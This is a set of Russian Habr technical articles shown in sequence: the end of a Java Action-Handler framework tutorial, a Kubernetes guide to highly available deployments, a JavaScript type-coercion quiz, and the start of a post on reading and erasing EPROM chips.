Класс Action представляет атомарный «метод», который можно «вызвать». Внутри себя класс содержит входные и выходные данные:
```
//Класс Action с типом входных данных - String и выходных - Integer
public class SomeAction extends Action{
public SomeAction(String input) {
super(input);
}
}
```
2. ### Handler
Класс Handler содержит конкретную реализацию для данного Action типа:
```
@Mapping(SomeAction.class)
public class SomeHandler extends Handler{
@Inject
SomeService service;
public void invoke(SomeAction action) throws Exception {
String input = action.getInput();
Integer result = service.doSomeWork(input);
action.setOutput(result);
}
}
```
3. ### Framework
Объект фреймворка Engine обеспечивает связь между Action и Handler объектами:
```
//создаем объект Engine
Engine engine = new Engine();
//регистрируем обработчик
engine.putHandler(SomeHandler.class);
//выполняем действие
Integer result = engine.invoke(new SomeAction("some data"));
```
Пример использования
--------------------
Итак, мы рассмотрели ключевые классы фреймворка. Используя их, проведем рефакторинг примера с нашим сервисом UserService.
В начале отнаследуем UserService от служебного интерфейса ActionService:
```
import com.gf.service.ActionService;
public interface UserService extends ActionService {
//интерфейс не содержит методов - они отнаследованы от ActionService
}
```
Далее создадим множество Action классов:
```
import com.gf.Action;
public class CreateUser extends Action {
public CreateUser(Object someData){
this(someData);
}
}
public class ActivateUser extends Action {
public ActivateUser(Long id){
this(id);
}
}
/\*
и т.д для классов:
UpdateUser.java
BlockUser.java
UnblockUser.java
...
\*/
```
Осталось создать обработчики для данных классов. Например:
```
@Mapping(CreateUser.class)
public class CreateUserHandler extends Handler{
public void invoke(CreateUser action) throws Exception {
Object input = action.getInput();
User user = ...
action.setOutput(user);
}
}
```
Пример конечного вида реализации UserServiceImpl:
```
import com.gf.Action;
import com.gf.core.Engine;
public class UserServiceImpl implements UserService {
Engine engine;
public UserServiceImpl(){
engine = new Engine();
//регистрируем Handler классы по имени пакета
engine.scanAndPut("some.package");
}
public O invoke(Action action) {
return engine.invoke(action);
}
public O invokeUnwrap(Action action) throws Exception {
return engine.invokeUnwrap(action);
}
}
```
В итоге мы разделили большой интерфейс UserService на множество Action классов, а реализацию UserServiceImpl — на множество Handler классов.
Выводы и ссылки
---------------
Мы рассмотрели проблему концентрации логики в одном классе и способы решения, включая разделение на атомарные классы-методы. Далее мы познакомились с Green-forest Framework, который реализует последний подход с помощью архитектуры Action-Handler. Используя Green-forest, вы можете упростить и структурировать код своего приложения.
Приятной работы, коллеги!
Ссылки:
[Green-forest Framework](http://code.google.com/p/green-forest)
[Документация](http://green-forest.googlecode.com/svn/tags/0.9/reference-guide/single-page.html) | https://habr.com/ru/post/168855/ | null | ru | null |
# Лучшие практики для деплоя высокодоступных приложений в Kubernetes. Часть 1
Развернуть в Kubernetes приложение в минимально рабочей конфигурации нетрудно. Но когда вы захотите обеспечить своему приложению максимальную доступность и надежность в работе, вы неизбежно столкнётесь с немалым количеством подводных камней. В этой статье мы попытались систематизировать и ёмко описать самые важные правила для развертывания высокодоступных приложений в Kubernetes.
Функциональность, которая не доступна в Kubernetes «из коробки», здесь почти не будет затрагиваться. Также мы не будем привязываться к конкретным CD-решениям и опустим вопросы шаблонизации/генерации Kubernetes-манифестов. Рассмотрены только общие правила, касающиеся того, как Kubernetes-манифесты могут выглядеть в конечном итоге при деплое в кластер.
1. Количество реплик
--------------------
Вряд ли получится говорить о какой-либо доступности, если приложение не работает по меньшей мере в двух репликах. Почему при запуске приложения в одной реплике возникают проблемы? Многие сущности в Kubernetes (Node, Pod, ReplicaSet и др.) эфемерны, т. е. при определенных условиях они могут быть автоматически удалены/пересозданы. Соответственно, кластер Kubernetes и запущенные в нём приложения должны быть к этому готовы.
К примеру, при автомасштабировании узлов вниз, какие-то узлы вместе с запущенными на них Pod'ами будут удалены. Если в это время на удаляемом узле работает ваше приложение в одном экземпляре, то неизбежна полная — хотя обычно и непродолжительная — недоступность приложения. В целом, при работе в одной реплике любое нештатное завершение работы приложения будет означать простой. Таким образом, **приложение должно быть запущено по меньшей мере в двух репликах.**
При этом, если реплика экстренно завершает работу, то чем больше рабочих реплик было изначально, тем меньше просядет вычислительная способность всего приложения. К примеру, если у приложения всего две реплики и одна из них перестала работать из-за сетевых проблем на узле, то приложение теперь сможет выдержать только половину первоначальной нагрузки (одна реплика доступна, одна — недоступна). Конечно, через некоторое время новая реплика приложения будет поднята на новом узле, и работоспособность полностью восстановится. Но до тех пор увеличение нагрузки на единственную рабочую реплику может приводить к перебоям в работе приложения, поэтому **количество реплик должно быть с запасом.**
*Рекомендации актуальны, если не используется HorizontalPodAutoscaler. Лучший вариант для приложений, у которых будет больше нескольких реплик, — настроить HorizontalPodAutoscaler и забыть про указание количества реплик вручную. О HorizontalPodAutoscaler мы поговорим в следующей статье.*
2. Стратегия обновления
-----------------------
Стратегия обновления у Deployment'а по умолчанию такая, что почти до конца обновления только 75% Pod'ов старого+нового ReplicaSet'а будут в состоянии `Ready`. Таким образом, при обновлении приложения его вычислительная способность может падать до 75%, что может приводить к частичному отказу. Отвечает за это поведение параметр `strategy.rollingUpdate.maxUnavailable`. Поэтому убедитесь, что приложение не теряет в работоспособности при отказе 25% Pod'ов, либо уменьшите `maxUnavailable`. Округление `maxUnavailable` происходит вниз.
Также у стратегии обновления по умолчанию (`RollingUpdate`) есть нюанс: приложение некоторое время будет работать не только в несколько реплик, но и в двух разных версиях — разворачивающейся сейчас и развернутой до этого. Поэтому, если приложение не может даже непродолжительное время работать в нескольких репликах и нескольких разных версиях, то используйте `strategy.type: Recreate`. При `Recreate` новые реплики будут подниматься только после того, как удалятся старые. Очевидно, здесь у приложения будет небольшой простой.
*Альтернативные стратегии деплоя (blue-green, canary и др.) часто могут быть гораздо лучшей альтернативой RollingUpdate, но здесь мы не будем их рассматривать, так как их реализация зависит от того, какое ПО вы используете для деплоя. Это выходит за рамки текущей статьи. (См. также статью «*[*Стратегии деплоя в Kubernetes: rolling, recreate, blue/green, canary, dark (A/B-тестирование)*](https://habr.com/ru/company/flant/blog/471620/)*» в нашем блоге.)*
3. Равномерное распределение реплик по узлам
--------------------------------------------
Очень важно разносить Pod'ы приложения по разным узлам, если приложение работает в нескольких репликах. Для этого **рекомендуйте планировщику не запускать несколько Pod'ов одного Deployment'а на одном и том же узле:**
```
affinity:
podAntiAffinity:
preferredDuringSchedulingIgnoredDuringExecution:
- podAffinityTerm:
labelSelector:
matchLabels:
app: testapp
topologyKey: kubernetes.io/hostname
```
Предпочитайте `preferredDuringScheduling` вместо `requiredDuringScheduling`, который может привести к невозможности запустить новые Pod'ы, если доступных узлов окажется меньше, чем новым Pod'ам требуется. Тем не менее, `requiredDuringScheduling` может быть полезен, когда количество узлов и реплик приложения точно известно и необходимо быть уверенным, что два Pod'а не смогут оказаться на одном и том же узле.
4. Приоритет
------------
priorityClassName влияет на то, какие Pod'ы будут schedule'иться в первую очередь, а также на то, какие Pod'ы могут быть «вытеснены» *(evicted)* планировщиком, если места для новых Pod'ов на узлах не осталось.
Потребуется создать несколько ресурсов типа [PriorityClass](https://kubernetes.io/docs/concepts/configuration/pod-priority-preemption/#priorityclass) и ассоциировать их с Pod'ами через `priorityClassName`. Набор `PriorityClass`'ов может выглядеть примерно так:
* *Cluster*. Priority > 10000. Критичные для функционирования кластера компоненты, такие как kube-apiserver.
* *Daemonsets*. Priority: 10000. Обычно мы хотим, чтобы Pod'ы DaemonSet'ов не вытеснялись с узлов обычными приложениями.
* *Production-high*. Priority: 9000. Stateful-приложения.
* *Production-medium*. Priority: 8000. Stateless-приложения.
* *Production-low*. Priority: 7000. Менее критичные приложения.
* *Default*. Priority: 0. Приложения для окружений не категории production.
Это предохранит нас от внезапных evict'ов важных компонентов и позволит более важным приложениям вытеснять менее важные при недостатке узлов.
5. Остановка процессов в контейнерах
------------------------------------
При остановке контейнера всем процессам в нём отправляется сигнал, указанный в `STOPSIGNAL` (обычно это `TERM`). Но не все приложения умеют правильно реагировать на него и делать graceful shutdown, который бы корректно отработал и для приложения, запущенного в Kubernetes.
Например, чтобы сделать корректную остановку nginx, нам понадобится preStop-хук вроде этого:
```
lifecycle:
preStop:
exec:
command:
- /bin/sh
- -ec
- |
sleep 3
nginx -s quit
```
1. `sleep 3` здесь для страховки от race conditions, связанных с удалением endpoint.
2. `nginx -s quit` инициирует корректное завершение работы для nginx. Хотя в свежих образах nginx эта строка больше не понадобится, т. к. там `STOPSIGNAL: SIGQUIT` установлен по умолчанию.
*(Более подробно про graceful shutdown для nginx в связке с PHP-FPM вы можете узнать из* [*другой нашей статьи*](https://habr.com/ru/company/flant/blog/489994/)*.)*
Корректно ли ваше приложение обработает `STOPSIGNAL`, зависит только от него. На практике для большинства приложений приходится гуглить, как оно обрабатывает указанный для него `STOPSIGNAL`. И если оказывается, что не так, как надо, то делается preStop-хук, который эту проблему решает, либо же `STOPSIGNAL` меняется на тот, который приложение сможет обработать корректно и штатно завершиться.
Ещё один важный параметр, связанный с остановкой приложения, — `terminationGracePeriodSeconds`. Он отвечает за то, сколько времени будет у приложения на корректное завершение. Если приложение не успеет завершиться в течение этого времени (30 секунд по умолчанию), то приложению будет послан сигнал `KILL`. Таким образом, если вы ожидаете, что выполнение preStop-хука и/или завершение работы приложения при получении `STOPSIGNAL` могут занять более 30 секунд, то `terminationGracePeriodSeconds` нужно будет увеличить. Например, такое может потребоваться, если некоторые запросы у клиентов веб-сервиса долго выполняются (вроде запросов на скачивание больших файлов).
Стоит заметить, что preStop-хук выполняется блокирующе, т. е. `STOPSIGNAL` будет послан только после того, как preStop-хук отработает. Тем не менее, отсчет `terminationGracePeriodSeconds` *идёт и в течение работы preStop-хука*. А процессы, запущенные в хуке, равно как и все процессы в контейнере, получат сигнал `KILL` после того, как `terminationGracePeriodSeconds` закончится.
Также у некоторых приложений встречаются специальные настройки, регулирующие время, в течение которого приложение должно завершить свою работу (к примеру, опция `--timeout` у Sidekiq). Оттого для каждого приложения надо убеждаться, что если у него есть подобная настройка, то она выставлена в значение немного меньшее, чем `terminationGracePeriodSeconds`.
6. Резервирование ресурсов
--------------------------
Планировщик на основании `resources.requests` Pod'а принимает решение о том, на каком узле этот Pod запустить. К примеру, Pod не будет schedule'иться на узел, на котором свободных (т. е. *non-requested*) ресурсов недостаточно, чтобы удовлетворить запросам *(requests)* нового Pod'а. А `resources.limits` позволяют ограничить потребление ресурсов Pod'ами, которые начинают расходовать ощутимо больше, чем ими было запрошено через requests. **Лучше устанавливать лимиты равные запросам,** так как если указать лимиты сильно выше, чем запросы, то это может лишить другие Pod'ы узла выделенных для них ресурсов. Это может приводить к выводу из строя других приложений на узле или даже самого узла. Также схема ресурсов Pod'а присваивает ему определенный [QoS class](https://kubernetes.io/docs/tasks/configure-pod-container/quality-service-pod): например, он влияет на порядок, в котором Pod'ы будут вытесняться (evicted) с узлов.
Поэтому **необходимо выставлять и запросы, и лимиты и для CPU, и для памяти.** Единственное, что можно/нужно опустить, так это CPU-лимит, если [версия ядра Linux ниже 5.4](https://habr.com/ru/company/flant/blog/489668/#comment_21485436) (для EL7/CentOS7 версия ядра должна быть ниже 3.10.0-1062.8.1.el7).
*(Подробнее о том, что такое requests и limits, какие бывают QoS-классы в Kubernetes, мы рассказывали в* [*этой статье*](https://habr.com/ru/company/flant/blog/459326/)*.)*
Также некоторые приложения имеют свойство бесконтрольно расти в потреблении оперативной памяти: к примеру, Redis, использующийся для кэширования, или же приложение, которое «течёт» просто само по себе. Чтобы ограничить их влияние на остальные приложения на том же узле, им можно и нужно устанавливать лимит на количество потребляемой памяти. Проблема только в том, что, при достижении этого лимита приложение будет получать сигнал KILL. Приложения не могут ловить/обрабатывать этот сигнал и, вероятно, не смогут корректно завершаться. Поэтому **очень желательно использовать специфичные для приложения механизмы контроля за потреблением памяти** в дополнение к лимитам Kubernetes, и не доводить эффективное потребление памяти приложением до `limits.memory` Pod'а.
Конфигурация для Redis, которая поможет с этим:
```
maxmemory 500mb # если данные начнут занимать 500 Мб...
maxmemory-policy allkeys-lru # ...Redis удалит редко используемые ключи
```
А для Sidekiq это может быть [Sidekiq worker killer](https://github.com/klaxit/sidekiq-worker-killer):
```
require 'sidekiq/worker_killer'
Sidekiq.configure_server do |config|
config.server_middleware do |chain|
# Корректно завершить Sidekiq при достижении им потребления в 500 Мб
chain.add Sidekiq::WorkerKiller, max_rss: 500
end
end
```
Понятное дело, что во всех этих случаях `limits.memory` должен быть выше, чем пороги срабатывания вышеуказанных механизмов.
*В следующей статье мы также рассмотрим использование VerticalPodAutoscaler для автоматического выставления ресурсов.*
7. Пробы
--------
В Kubernetes пробы (healthcheck'и) используются для того, чтобы определить, можно ли переключить на приложение трафик *(readiness)* и не нужно ли приложение перезапустить *(liveness)*. Они играют большую роль при обновлении Deployment'ов и при запуске новых Pod'ов в целом.
Сразу общая рекомендация для всех проб: **выставляйте высокий timeoutSeconds**. Значение по умолчанию в одну секунду — слишком низкое. Особенно критично для readinessProbe и livenessProbe. Слишком низкий `timeoutSeconds` будет приводить к тому, что при увеличении времени ответов у приложений в Pod'ах (что обычно происходит для всех Pod'ов сразу благодаря балансированию нагрузки с помощью Service) либо перестанет приходить трафик почти во все Pod'ы (readiness), либо, что ещё хуже, начнутся каскадные перезапуски контейнеров (liveness).
### 7.1 Liveness probe
На практике вам не так часто нужна liveness probe *(дословно: «проверка на жизнеспособность»)*, насколько вы думаете. Её предназначение — перезапустить контейнер с приложением, когда livenessProbe перестаёт отрабатывать, например, если приложение намертво зависло. На практике подобные deadlock’и скорее исключение, чем правило. Если же приложение работает, но не полностью (например, приложение не может само восстановить соединение с БД, если оно оборвалось), то это нужно исправлять в самом приложении, а не накручивать «костыли» с livenessProbe.
И хотя как временное решение можно добавить в livenessProbe проверку на подобные состояния, **по умолчанию livenessProbe лучше либо совсем не использовать**, **либо делать очень простую liveness-пробу, вроде проверки возможности TCP-соединения (обязательно выставьте большой таймаут)**. В таком случае это поможет приложению перезапуститься при возникновении очевидного deadlock'а, но при этом приложение не подвергнется риску войти в цикл перезапусков, когда перезапуск не может помочь.
И риски, которые плохая livenessProbe несёт, весьма серьезные. Самые частые случаи: когда livenessProbe перестаёт отрабатывать по таймауту из-за повышенной нагрузки на приложение, а также когда livenessProbe перестаёт работать, т. к. проверяет (прямо или косвенно) состояние внешних зависимостей, которые сейчас отказали. В последнем случае последует перезагрузка всех контейнеров, которая при лучшем раскладе ни к чему не приведет, а при худшем — приведет к полной (и, возможно, длительной) недоступности приложения. Полная длительная недоступность приложения может происходить, если при большом количестве реплик контейнеры большинства Pod'ов начнут перезагружаться в течение короткого промежутка времени. При этом какие-то контейнеры, скорее всего, поднимутся быстрее других, и на это ограниченное количество контейнеров теперь придется вся нагрузка, которая приведет к таймаутам у livenessProbe и заставит контейнеры снова перезапускаться.
Также, если все-таки используете livenessProbe, убедитесь, что она не перестает отвечать, если у вашего приложения есть лимит на количество установленных соединений и этот лимит достигнут. Чтобы этого избежать, обычно требуется зарезервировать под livenessProbe отдельный тред/процесс самого приложения. Например, запускайте приложение с 11 тредами, каждый из которых может обрабатывать одного клиента, но не пускайте извне в приложение более 10 клиентов, таким образом гарантируя для livenessProbe отдельный незанятый тред.
И, конечно, не стоит добавлять в livenessProbe проверки внешних зависимостей.
*(Подробнее о проблемах с liveness probe и рекомендациях по предотвращению таких проблем рассказывалось в* [*этой статье*](https://habr.com/ru/company/flant/blog/470958/)*.)*
### 7.2 Readiness probe
Дизайн readinessProbe *(дословно: «проверка на готовность [к обслуживанию запросов]»)*, пожалуй, оказался не очень удачным. Она сочетает в себе две функции: проверять, что приложение в контейнере *стало* доступным при запуске контейнера, и проверять, что приложение *остаётся* доступным уже после его запуска. На практике первое нужно практически всегда, а второе примерно настолько же часто, насколько оказывается нужной livenessProbe. Проблемы с плохими readinessProbe примерно те же самые, что и с плохими livenessProbe, и в худшем случае также могут приводить к длительной недоступности приложения.
Когда readinessProbe перестаёт отрабатывать, то на Pod перестаёт приходить трафик. В большинстве случаев такое поведение мало помогает, т. к. трафик обычно балансируется между Pod'ами более-менее равномерно. Таким образом, чаще всего readinessProbe либо работает везде, либо не работает сразу на большом количестве Pod'ов. Есть ситуации, когда подобное поведение readinessProbe может понадобиться, но в моей практике это скорее исключение.
Тем не менее, у readinessProbe есть другая очень важная функция: определить, когда только что запущенное в контейнере приложение стало способно принимать трафик, чтобы не пускать трафик в ещё не доступное приложение. Эта же функция readinessProbe, напротив, нужна нам почти всегда.
Получается странная ситуация, что одна функция readinessProbe обычно очень нужна, а другая очень *не* нужна. Эта проблема была решена введением startupProbe, которая [появилась в Kubernetes 1.16](https://habr.com/ru/company/flant/blog/467477/) и перешла в Beta в 1.18. Таким образом, **рекомендую для проверки готовности приложения при его запуске в Kubernetes < 1.18 использовать readinessProbe, а в Kubernetes >= 1.18 — использовать startupProbe.** readinessProbe всё ещё можно использовать в Kubernetes >= 1.18, если у вас есть необходимость останавливать трафик на отдельные Pod'ы уже после старта приложения.
### 7.3 Startup probe
startupProbe *(дословно: «проверка на запуск»)* реализует первоначальную проверку готовности приложения в контейнере для того, чтобы пометить текущий Pod как готовый к приёму трафика, или же для того, чтобы продолжить обновление/перезапуск Deployment'а. В отличие от readinessProbe, startupProbe прекращает работать после запуска контейнера. Проверять внешние зависимости в startupProbe не лучшая идея, потому что если startupProbe не отработает, то контейнер будет перезапущен, что может приводить к переходу Pod'а в состояние `CrashLoopBackOff`. При этом состоянии между попытками перезапустить неподнимающийся контейнер будет делаться задержка до пяти минут. Это может означать простой в том случае, когда приложение *уже может* подняться, но контейнер всё ещё выжидает `CrashLoopBackOff` перед тем, как снова попробовать запуститься.
Обязательна к использованию, если ваше приложение принимает трафик и у вас Kubernetes >= 1.18.
Также предпочитайте увеличение `failureTreshold` вместо использования `initialDelaySeconds`. Это позволит контейнеру становиться доступным настолько быстро, насколько это возможно.
8. Проверка внешних зависимостей
--------------------------------
Часто можно встретить совет проверять внешние зависимости вроде баз данных в readinessProbe. И хотя такой подход имеет право на существование, предпочтительно разделять проверку внешних зависимостей и проверку на то, не стоит ли остановить идущий на Pod трафик, когда приложение в нём полностью утилизировано.
С помощью initContainers можно проверять внешние зависимости до того, как начнут запускаться startupProbe/readinessProbe основных контейнеров. В readinessProbe, соответственно, проверки внешних зависимостей уже не понадобится. Подобные `initContainers` не требуют изменений в коде приложения, не требуют собирать контейнеры приложения с дополнительными утилитами для проверок внешних зависимостей, а также в целом довольно просты в реализации:
```
initContainers:
- name: wait-postgres
image: postgres:12.1-alpine
command:
- sh
- -ec
- |
until (pg_isready -h example.org -p 5432 -U postgres); do
sleep 1
done
resources:
requests:
cpu: 50m
memory: 50Mi
limits:
cpu: 50m
memory: 50Mi
- name: wait-redis
image: redis:6.0.10-alpine3.13
command:
- sh
- -ec
- |
until (redis-cli -u redis://redis:6379/0 ping); do
sleep 1
done
resources:
requests:
cpu: 50m
memory: 50Mi
limits:
cpu: 50m
memory: 50Mi
```
Полный пример
-------------
Резюмируя, привёдем полный пример того, как уже с учётом всех вышеописанных рекомендаций может выглядеть Deployment stateless-приложения при его боевом развертывании.
*Требования: Kubernetes >= 1.18, на узлах Ubuntu/Debian с версией ядра >= 5.4.*
```
apiVersion: apps/v1
kind: Deployment
metadata:
name: testapp
spec:
replicas: 10
selector:
matchLabels:
app: testapp
template:
metadata:
labels:
app: testapp
spec:
affinity:
podAntiAffinity:
preferredDuringSchedulingIgnoredDuringExecution:
- podAffinityTerm:
labelSelector:
matchLabels:
app: testapp
topologyKey: kubernetes.io/hostname
priorityClassName: production-medium
terminationGracePeriodSeconds: 40
initContainers:
- name: wait-postgres
image: postgres:12.1-alpine
command:
- sh
- -ec
- |
until (pg_isready -h example.org -p 5432 -U postgres); do
sleep 1
done
resources:
requests:
cpu: 50m
memory: 50Mi
limits:
cpu: 50m
memory: 50Mi
containers:
- name: backend
image: my-app-image:1.11.1
command:
- run
- app
- --trigger-graceful-shutdown-if-memory-usage-is-higher-than
- 450Mi
- --timeout-seconds-for-graceful-shutdown
- 35s
startupProbe:
httpGet:
path: /simple-startup-check-no-external-dependencies
port: 80
timeoutSeconds: 7
failureThreshold: 12
lifecycle:
preStop:
exec:
["sh", "-ec", "#command to shutdown gracefully if needed"]
resources:
requests:
cpu: 200m
memory: 500Mi
limits:
cpu: 200m
memory: 500Mi
```
В следующий раз
---------------
Осталось ещё немало важных вещей, о которых обязательно надо рассказать, таких как `PodDisruptionBudget`, `HorizontalPodAutoscaler` и `VerticalPodAutoscaler`, чем мы непременно займемся во второй части этой статьи. А пока предлагаем вам поделиться своими лучшими практиками по деплою, либо исправить/дополнить уже описанные.
***ОБНОВЛЕНО: Вторая часть статьи вышла и доступна*** [***здесь***](https://habr.com/ru/company/flant/blog/549464/)***.***
P.S.
----
Читайте также в нашем блоге:
* «[10 типичных ошибок при использовании Kubernetes](https://habr.com/ru/company/flant/blog/504396/)»;
* «[Автомасштабирование и управление ресурсами в Kubernetes](https://habr.com/ru/company/flant/blog/459326/)» (обзор и видео доклада);
* «[Liveness probes в Kubernetes могут быть опасны](https://habr.com/ru/company/flant/blog/470958/)». | https://habr.com/ru/post/545204/ | null | ru | null |
# JavaScript: проверьте свою интуицию
На Хабре [уже](http://habrahabr.ru/post/84311/) [разминались](http://habrahabr.ru/post/84381/) и [развлекались](http://habrahabr.ru/post/136577) кажущимися нелогичностями JavaScript. По-моему, такие примеры отличный способ размять мозги после длительных новогодних праздников, поэтому предлагаю вам подумать над 10 задачками.
Ответы и свой вариант объяснения почему такое поведение логично я буду скрывать под спойлером. Сразу оговорюсь, что не претендую на непоколебимую истину своих версий и буду рад их обсудить. В разгадывании вам может помочь отличный [русский перевод спецификации ECMAScript 5](http://es5.javascript.ru/index.html) за который большое спасибо [iliakan](http://habrahabr.ru/users/iliakan/)!
##### 1. Так что помните, дети, всегда подставляем системы счисления!
Для начала простой, но прикольной пример. Что вернут такие вызовы parseInt?
```
parseInt('fuck');
parseInt('fuck', 16);
```
**Решение**
```
parseInt('fuck'); // NaN
parseInt('fuck', 16); // 15
```
Как работает parseInt: он посимвольно проверяет переданную строку на соответствие указанной вторым аргументом системе счисления и если находит некорректный символ, то завершает работу. По умолчанию, система счисления считается десятичной. В не самых свежих браузерах если переданная строка начинается с 0, то по умолчанию система считается восьмеричной. В десятичной системе счисления символ ‘f’ недопустим и функция заканчивается свою работу не найдя ни одной цифры. А вот в шестнадцатиричной системе символ ‘f’ допустим и соответствует десятичному числу 15. Символ ‘u’ не допустим и функция завершает свою работу.
##### 2. Может кто подскажет?
Чему равно такое выражение?
```
"Why am I a " + typeof + "";
```
**Решение**
```
“Why am I a number”
```
Оператор “+” обладает большим приоритетом чем “typeof”, поэтому указанная запись эквивалентна следующей:
```
“Why am I a ” + (typeof (+ “”)).
```
Унарный “+” выполняет приведение к числу, поэтому “typeof” от результата его выполнения — это number.
##### 3. Кто больше?
Ну и кто больше?
```
[1, 2, 4] < [1, 2, 5]
[1, 2, 'd'] < [1, 2, 5]
[1, 2, ['d', 5]] < [1, 2, [20, 5]]
[1, 2, 5] == [1, 2, 5]
[1, 2, 5] <= [1, 2, 5]
[1, 2, 5] >= [1, 2, 5]
```
**Решение**
```
[1, 2, 4] < [1, 2, 5] //true
[1, 2, 'd'] < [1, 2, 5] //false
[1, 2, ['d', 5]] < [1, 2, [20, 5]] //false
[1, 2, 5] == [1, 2, 5] //false
[1, 2, 5] <= [1, 2, 5] //true
[1, 2, 5] >= [1, 2, 5] //true
```
Согласно спецификации ECMAScript 5 для выполнения операции сравнения аргументы, которые не являются примитивами, должны быть приведены к примитивам (если кому интересно, то пункт 11.8.5 “Алгоритм сравнения абстрактного отношения”). Сначала JavaScript пробует преобразовать аргумент к числу с помощью метода valueOf и только когда это не удается приводит к строковому типу (изначально я хотел написать здесь про естественность сравнения чисел, и что когда мы говорим, что слово А больше слова Б, то имеем в виду длину. Но из беседы с коллегой выяснилось, что это не правда. Когда мы сравнимаем два слова мы инстанцируем связанные с ними образы и сравнимаем их. И только если образов не нашлось, то сравниваем слова не как метки образов, а именно как набор букв). Для массивов метод valueOf не определен и поэтому они сравниваются как строки:
```
"1,2,4" < "1,2,5" //true
"1,2,d" < "1,2,5" //false
```
Но все вышесказаное верно только для операций сравнения. В случае оператора “==”” приведение к примтивам осуществляется только если один из аргументов примитив, а во всех остальных случаях оператор “==” возвращает true только если оба аргумента ссылаются на один объект (пункт 11.9.3 “Алгоритм сравнения абстрактного равенства”), что в нашем случае не так.
Следует заметить, что для объектов сравнение работать не будет, т.к. их дефолтный toString возвращает [object Object].
##### 4. Кто больше?-2
По мотивам предыдущей загадки, точнее её решения.
```
var obj1 = {
test: 'test',
toString: function(){ return 10; },
valueOf: function(){ return 100; }
}
var obj2 = {
test: 'test',
toString: function(){ return 100; },
valueOf: function(){ return 10; }
}
obj1 ? obj2
```
**Решение**
```
obj1 > obj2
```
Как было сказано в предыдущем решении, при сравнении JavaScript сначала пытается привести непримитивные аргументы к числам, т.е. вызывает метод valueOf. А 100 > 10.
##### 5. Бесконечности безумия
Что вернет?
```
parseFloat('Infinity');
Number('Infinity');
parseInt('Infinity');
```
**Решение**
```
parseFloat('Infinity'); //Infinity
Number('Infinity'); //Infinity
parseInt('Infinity'); //NaN
```
Число отображается как бесконечность, когда оно превышает максимальное число с плавающей точкой: 1.7976931348623157E+308. Т.е. по сути Infinity это константа с дробным значением и поэтому она определяется parseFloat и Number, но не определяется parseInt.
##### 6. Игры с плюсами
Для тех, кто внимательно читал предыдущие решения, не составит труда сказать, что вернет вот такое выражение:
```
"foo" + + "bar"
```
**Решение**
```
("foo" + + "bar") === "fooNaN" // true
```
Выделим унарный +:
```
“foo” + (+ “bar”)
```
Как не трудно видеть, он вернет NaN, т.к. строку нельзя привести к числу. Таким образом:
```
"foo" + NaN === "fooNaN".
```
##### 7. Самое маленькое число
Кто больше?
```
Number.MIN_VALUE ? 0
```
**Решение**
```
Number.MIN_VALUE > 0
```
Согласно спецификации MIN\_VALUE — это число наиболее приближенное к 0, которое позволяет JavaScript. Приблизительно равно 5e-324. Все числа меньшие по модулю конвертируются в 0. Называть его минимальным, пожалуй, логично, т.к. максимальное отрицательное так и называется “максимально отрицательное”, но все-таки вносит определенную путаницу.
##### 8. Налог на роскошь
Что увидим на экране?
```
alert(111111111111111111111);
```
**Решение**
```
111111111111111111000
```
JavaScript интерпретирует большие числа в экспоненциальной форме:
```
111111111111111111111 = 1.11111111111111111111e20.
```
Но для хранения 1.11111111111111111111 точности не хватает и поэтому
```
(1.11111111111111111111e20).toString() == 111111111111111110000
```
##### 9. “Булева арифметика”
```
(true + 1) === 2;
(true + true) === 2;
true === 2;
true === 1;
```
**Решение**
```
(true + 1) === 2; // true
(true + true) === 2; // true
true === 2; // false
true === 1; // false
```
Двухместный оператор “+” либо складывает числа, либо конкатенирует строки. При приведении true к числу будет возвращена 1.
Оператор “===” в отличии от “+” не производит приведение типов и поэтому true строго не равно единице.
##### 10. Отрицание пустоты
```
[] == ![]
```
**Решение**
```
[] == ![] //true
```
Небольшая цитата из правила приведение типов в операторе == из спецификации:
1. Если Type(x) – Number и Type(y) – String, вернуть результат сравнения x == ToNumber(y).
2. Если Type(x) – String и Type(y) – Number, вернуть результат сравнения ToNumber(x) == y.
3. Если Type(x) – Boolean, вернуть результат сравнения ToNumber(x) == y.
4. Если Type(y) – Boolean, вернуть результат сравнения x == ToNumber(y).
5. Если Type(x) – либо String, либо Number, и Type(y) – Object, вернуть результат сравнения x == ToPrimitive(y).
6. Если Type(x) – Object и Type(y) – либо String, либо Number, вернуть результат сравнения ToPrimitive(x) == y.
Сначала вычислим правую часть равенства и получим:
```
[] == false
```
т.к. объект всегда приводится к true.
Теперь по правилу 4:
```
[] == 0
```
по правилу 6 и со знаниями из 3 задачки:
```
"" == 0
```
Затем по правилу 2:
```
0 == 0
```
Вуаля!
##### Заключение
Сколько задач с первого раза вы решили правильно? Надеюсь, вам понравились эти небольшие упражнения. По субъективным ощущениям, разбор таких ситуаций очень полезен. Отличный повод заглянуть в документацию и освежить расположение граблей.
Если вы знаете другие интересные примеры, то прошу добавлять в комментарии скрывая ответы и объяснения под спойлер. Со своей стороны не могу удержаться, чтобы не добавить в качестве бонуса задачку из комментариев к одной из старых статей:
Что больше?
```
Math.min() ? Math.max()
```
**Решение**
```
Math.min() > Math.max()
```
Согласно [определению метода Math.max](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/max?redirectlocale=en-US&redirectslug=JavaScript%2FReference%2FGlobal_Objects%2FMath%2Fmax) в случае отсутствия аргументов возвращается -Infinity. Аналогично min возвращает просто Infinity.
И да, главное: не используйте это в боевом коде! Пожалейте тех, кто будет его читать. | https://habr.com/ru/post/208922/ | null | ru | null |
# Что с памятью моею стало
### Запомним на века: Повесть о работе с ПЗУ
[](https://habr.com/ru/company/ruvds/blog/648649/)
Помню, ещё в детстве, когда у меня появился первый компьютер, там на материнской плате была магическая микросхема с окошком, сквозь которое было видно кристалл. “Мудрые” взрослые меня пугали, что если посветить солнечным светом на неё, то она быстро сотрётся.
С тех пор у меня было большое желание разобраться, что же это за мистические микросхемы ПЗУ (постоянное запоминающее устройство), как же они работают, как их программировать и стирать. И всё как-то не было повода, да и возможностей аппаратных. А тут, благодаря "[Волшебному чемодану](https://habr.com/ru/company/ruvds/blog/598697/)" появилась реальная задача, когда необходимо было прочитать прошивку, написать свою и прошить ПЗУ, а также научится стирать микросхемы. И тут я познал как глубока кроличья нора, что есть куча типов ПЗУ с УФ стиранием, что у них разные напряжения работы, разные режимы стирания микросхемы и многое-многое другое. Вопрос, какой программатор выбрать, как стереть микросхему, как её записать, какие сложности при этом.
Несмотря на то, что микросхемы давным-давно в ходу, информация ровным слоем размазана по интернету и головам, приходилось собирать всё в кучу, проходя хоть местами очевидный, но тернистый путь.
▍ Постановка задачи
-------------------
